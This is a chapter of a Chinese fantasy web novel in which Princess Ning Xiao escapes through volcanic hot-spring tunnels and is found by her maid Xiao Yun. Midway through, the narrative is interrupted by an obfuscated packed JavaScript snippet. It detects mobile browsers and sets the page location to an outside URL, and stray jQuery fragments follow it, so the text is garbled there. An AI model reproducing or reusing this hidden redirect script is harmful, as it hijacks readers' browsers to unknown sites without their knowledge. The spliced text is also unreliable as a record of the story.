休憩了一会,便起身下了高台。
她一步步下到潭边的台阶,水流渐渐没过了她的膝窝,方才从上方掉下来时,宁逍便发现了这水能暂时消除此地灵气对她的屏蔽。
趁这会儿修复灵力的空档,便观察起四周的路线情况。
以她对连山的了解,这人不屑于在指路这件事上骗她。这人虽表面吊儿郎当,但内里却是个杀伐果决之人,他若想加害于她,必然在她昏迷之时就直接动手了。可是没有,反而一路细心照拂,显然,对方一定对她有所图谋,并且这所图之事着实不小,否则也不会绕这么大的弯子。但具体为何事,宁逍眼下实在没有头绪。
想不通,便不再多想。
她预感不久之后定会与之再次相遇,只望下一次,他们不要成为对手。
此时,宁逍半着阖眼,仅露出脑袋在水面上,感受着灵力的回归。
火山温泉对治愈疾病也有奇效,在双重补给下脊骨处的剧痛逐渐被蚀骨的痒意取代,眼下实力虽然未达巅峰一成,但用于翻山越岭却是足矣。
她伸出手,掌心灵光大盛。
不过短短几天,这光竟让她有种久违的感觉,甚至连伏诛都感受到她神魂处强力的波动,发出了快乐的嗡鸣声。
水流渐渐没过头顶,她在水底彻底睁开了眼睛。从水面上方看时,潭口所见之处并不大,甚至很小,边缘围着的是厚实的山壁,山壁从上方垂直而下,遮去了观者的视线。此时她在水里,却见水面下方,山壁仍如帷幕般垂落至底。而她的正前方,并无出路。
宁逍将目光移向右方,那儿的水底,可以清晰看见一个巨大的黑色的坑洞。
正是她站高台之上看到的那一抹黑。
她向那处游去,见那洞边缘模糊似是由泥沙堆积,越接近那黑色的边缘,水流就变得越发极速,仿佛有种无形的阻力在阻挡她的靠近。
这天然的坑洞深入水底,底下的空间明显比表面所见要大上许多。而她脚下所见之处,皆是森森的白骨,无数破碎断裂的骨骼深深扎进水底的淤泥里,就仿佛曾有巨型的水怪在此处享用过饕餮大餐......
水下黯然无光,宁逍小小的人躯立于那幽深庞大的黑色之上,在温泉的包裹下竟然有些微微发冷。
不过她很快就调整好状态向下潜去,这阻力于她而言并不太难对付。然而就在过了边缘线的一瞬间,身体仿佛强行突破了一层水膜,这时忽然有一股巨大的吸力将她整个人往下方拽去!
这水面看似毫无波澜,没成想竟暗藏汹涌......见这情形宁逍立刻卸下了所有抵抗,任水流将她的身体带去深处。
黑暗中,她大约感知到自己被带入一条狭窄的甬道中,这水道仅一人通过的宽度,庆幸的是上方留有一丝能呼吸的空隙。
起先,她还能顺流钻出水面透气,然而,后程的水赶着前边的水,水与水之间互相角逐导致流速也愈来愈快,以至于刚浮出水面没一会儿就被后边的急流直接拍回到水底。
这水激昂如潮汛一般向外泄去,根本停不下来!
不行——
再不上岸就要被带进雁河里了!
下一瞬,前方不远处似乎亮起了微弱的光。
宁逍眼尖,一把抓住了旁边横着突起的岩石,但岩石被水冲刷的光滑无比,眼看下一刻就要溜走。她甫一用力,先将裹着袖袍的胳膊架了上去,伏诛随心而动落在了手里,她将刀卡进了身前的石缝中,这才勉强止住了身体的冲劲。
背后,水流巨大的阻力冲刷着她的身躯,为了防止被无意冲走,她只好手脚并用一点点朝前方挪动,好一会儿功夫,才终于抵达光亮所在地。
那洞,看着像是一方向下开的天井,上方还有隐隐火光。
宁逍伸出手,穿过洞壁牢牢扒住上方边缘的地面上,将另一只手也带了过来,用手臂的力量将脑袋先露了出来,再用力一撑地面,将整个人带出了甬道。
她疲惫翻身,闭着眼仰躺在黄土地上。喘了一会,才开始侧头打量,见此处原来是一方山体空腔。
诺大的空间里有一条像山溪似的水渠将地面划分成了两个板块,连通空间的首尾。
而空腔里唯一的光亮,竟是来自于角落处的地面坑洞。那洞不过巴掌大小,由大块碎石累积而成,像是上方山体运动碰撞导致的,露出侧下方的岩浆流。
难怪空气中的温度不同于先前那地方,有些闷热,就仿佛身处于间人挤人的大澡堂子。
硫磺气味更重了。
宁逍到溪边蹲下,水面上细密蒸腾的热气扑面而来,她拂了拂水雾,只见那水清澈见底,甚至水下卵石边细小的气泡都能看得一清二楚。犹豫间,手已不由自主地伸入其中。
还好,不烫。
她前后来回观望,考虑起如何抉择两端顺水而出的洞口。上首洞口边就是那破口亮光处,她从洞往外观察过,底下那条炎脉斜着向上流去,若走上游或许会与之交汇,不妥。最后,还是选择了容错较低的那一个——与甬道流向相同的出口。
理清了思路,宁逍再次合衣下水。
此行真是将她几年份的凫水功力都用尽了......
这条温泉小溪的温度比甬道处要略高一些,水流几乎静止,仅有石头底下偶尔气泡打出的微小漩涡,叫人难以判断前后流向。这也就意味着,后面的行程很可能还会再碰到炎流,由此想来她便更加谨慎小心。
带着沉重的心情宁逍慢慢游出了空腔内部,光线也随之暗了下来。
水道两旁光滑无比,连个着力点都没有,其表面质地犹如钟乳石一般,想必也是因千年冲刷而形成的。
但盛极必衰,衰极必盛,好运终将会眷顾倒霉蛋一次!
才游了不过一盏茶功夫,宁逍就察觉到甬道似有微微向下的趋势,几息后,果然看见不远处的水体似乎有上方映射来的光亮。
前方水底清澈透亮,泛着粼粼波光。不再是洞里昏暗难辨的火光,而是真真切切春朝花日里的太阳日光!
要出来了!
她心底一喜,心底的石头放下了。
翻转身子,仰躺着在水面之上,将自己化作一抹浮萍,随流荡漾而出。
随着出口越来越近,宁逍逐渐清晰地闻到山间独有的草木清香,又听见鸟儿振翅的声响,她眯起眼,享受着这一刻来之不易的美好时光。
那小子果真没骗她——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664635|172937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳光洒在她的身上、脸上,宁逍感受许久未有的惬意之情,温和的日照将伤病的疲惫爆发出来,随之而来是无与伦比的困意,就在她渐渐昏沉了下去时......
下一刻,头顶被一片阴影笼罩住。
宁逍猛然受惊地睁开了眼,在看见她上方这张放大无数倍的人脸后,忍不住怔愣了一下。
随后,她面无表情地爬起来。
起身后,才发现自己正立于一方小巧的温泉池里,那泉水仅到腰际,池水清澈,池内有什么东西简直一览无余,根本无处可躲!
她翻身上了岸,装作无恙地望向不远处的树林里,那边人影憧憧,有二三十匹马和一辆马车在那头等着待命。
嗯?这一辆车的外饰令她觉着无比眼熟......
这时,有人掀开了那车的帘子,下来了。
只见那人手里捧着衣物和布巾匆匆向她小跑来。近了将那手里的袍子展开一抖,盖在了她身上,又拿起布巾,神情紧张地为她细细擦拭湿发和面上的污渍。
完事后那人站在她身前,眼睫颤颤,哽咽道:“殿下......”
宁逍垂眸看她:“我没事。”
“怎会没事!殿下从未失踪过这么久......可有受伤?定是伤着了!”小韵语气强装镇定,仍控制不住声音里的颤抖。
......她金尊玉贵的殿下纵然从前修行练武时有伤过累过,可也从未像今日这般如此狼狈过!
宁逍经她提醒,这才注意起自己现在的模样——
那金冠早已不知去向,如墨的长发用了条破布条随意绑着,袖口和袍沿皆被岩浆烫出了一个个破烂小洞,前襟大团的血渍与灰土混合一起,像开出了一朵朵糜烂的花,而后背的伤口处......不必看也知道有多瘆人。
这浑身上下简直没一处好的。
“小韵,”宁逍抓住了她妄图探向腕间的手,微微提高了音量。
盯着她的眼睛,声色清亮:“我没事。”
她的眼神带着一种令人心安的力量,对方见状才逐渐安静下来。
没一会,后边林子处又来了一人。
那人身量颀长,默不作声地走到跟前,单膝跪在了她脚边。
宁逍眼见事情有些麻烦了起来,便转过身,对着方才在池边打过照面的人做了个拱手礼,道:“孟司承见笑了......”
“哪里!”
壮汉连忙回礼,满脸愧疚道:“此番都怪我等思虑不周才致您遇险!小王爷九死一生,眼下合该好好歇息......案事待咱们回了临县后再做商议,您看如何?”
“......嗯。”
宁逍心底有气,还不知此间事是否有他司部的手笔呢,但见他态度诚恳也不愿意与之辩驳。颔首拜别后,便拖着疲惫的身躯上了自己的马车。
马车上点起了安神的灵香,宁逍背朝门帘解了发,褪下了脏乱的衣物。
她光裸着脊背,小韵正小心翼翼地为她脊柱与肋下的伤处擦拭米山的仙方药油。
表皮的破口早已用灵力强行愈合,留下了大面积可怖的红色淤痕,内府的暗伤还需等到回米山后再做调理。